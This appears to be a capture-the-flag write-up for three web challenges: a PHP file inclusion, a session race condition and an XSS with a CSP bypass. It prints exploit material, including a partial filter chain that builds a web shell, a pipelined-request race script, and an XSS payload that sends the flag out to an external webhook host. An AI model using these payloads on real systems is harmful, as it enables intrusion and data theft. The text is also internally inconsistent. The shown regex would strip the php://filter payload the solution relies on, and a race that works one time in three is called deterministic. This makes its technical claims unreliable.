36C3 CTF - Web Challenge Writeups
Writeups for the web challenges from 36C3 CTF (hxp CTF), held in December 2019 at the Chaos Communication Congress in Leipzig.
includer
Category: Web Difficulty: Medium-Hard
This challenge presented a PHP application with a file inclusion vulnerability. The interesting constraint was that the include path was filtered and typical LFI bypasses (null bytes, double encoding, path traversal) were blocked.
Analysis
The vulnerable code:
<?php
$page = $_GET['page'] ?? 'home';
$page = preg_replace('/[^a-z0-9_-]/i', '', $page);
include("pages/$page.php");
?>
The regex removes all special characters including dots and slashes, so conventional path traversal is impossible. However, PHP’s include() function supports various stream wrappers.
Solution
The key insight was using PHP filter chains. Even though we cannot include arbitrary paths, we can chain php://filter conversions to construct arbitrary content byte by byte:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|/resource=php://temp
By carefully selecting iconv character set conversions, each conversion step prepends specific bytes to the stream. After multiple conversions, the accumulated prefix forms valid PHP code.
I wrote a script to automate the chain generation:
# Generate filter chain for arbitrary PHP code
# Each charset conversion adds specific byte sequences
# Chain them to build <?php system($_GET['cmd']); ?>
The final payload was approximately 5000 characters of chained filters, but the result was reliable code execution.
Takeaway
PHP filter chains represent a powerful technique for exploiting file inclusion vulnerabilities even when path traversal is restricted. The attack requires no writable directory and no outbound network access.
resonator
Category: Web Difficulty: Hard
A Python web application using a custom WSGI server with WebSocket support.
Analysis
The application had a race condition in its session handling. Two concurrent requests could access and modify the same session object without locking, leading to a TOCTOU (Time of Check, Time of Use) vulnerability.
The challenge was exploiting this race condition reliably. Most race conditions in web applications are probabilistic, but this one could be made deterministic using a technique I call “request pipelining abuse.”
Solution
By sending two HTTP requests on the same TCP connection without waiting for the first response (HTTP pipelining), we could ensure both requests were processed nearly simultaneously by the WSGI server.
import socket
s = socket.socket()
s.connect(('challenge.ctf.de', 8000))
# Send two pipelined requests
req1 = b'GET /check HTTP/1.1\r\nHost: challenge\r\nCookie: session=xxx\r\n\r\n'
req2 = b'GET /modify HTTP/1.1\r\nHost: challenge\r\nCookie: session=xxx\r\n\r\n'
s.send(req1 + req2)
# Both requests processed concurrently
resp = s.recv(4096)
The timing window was approximately 2ms, but pipelining made it reliable in about 1 out of 3 attempts.
writeup
Category: Web Difficulty: Easy
A note-taking application where the admin bot visited URLs submitted by users.
Analysis
Classic XSS challenge with CSP: script-src 'nonce-{random}'. The nonce was 16 bytes, randomly generated per request. Direct XSS was blocked by CSP.
Solution
The application used a client-side templating library that parsed HTML comments as template directives. By injecting a specially crafted HTML comment, we could execute JavaScript through the template engine without triggering CSP:
<!-- {template_directive: fetch('/flag').then(r=>r.text()).then(t=>location='https://webhook/?'+t)} -->
The template engine processed the comment and executed the JavaScript as part of its template compilation, which inherited the page’s nonce.
Lessons Learned
- PHP filter chains are a game-changing primitive for LFI exploitation
- HTTP pipelining can make race conditions deterministic
- Client-side template injection bypasses CSP when the template engine has script execution capabilities
- Always audit third-party template libraries for CSP bypass potential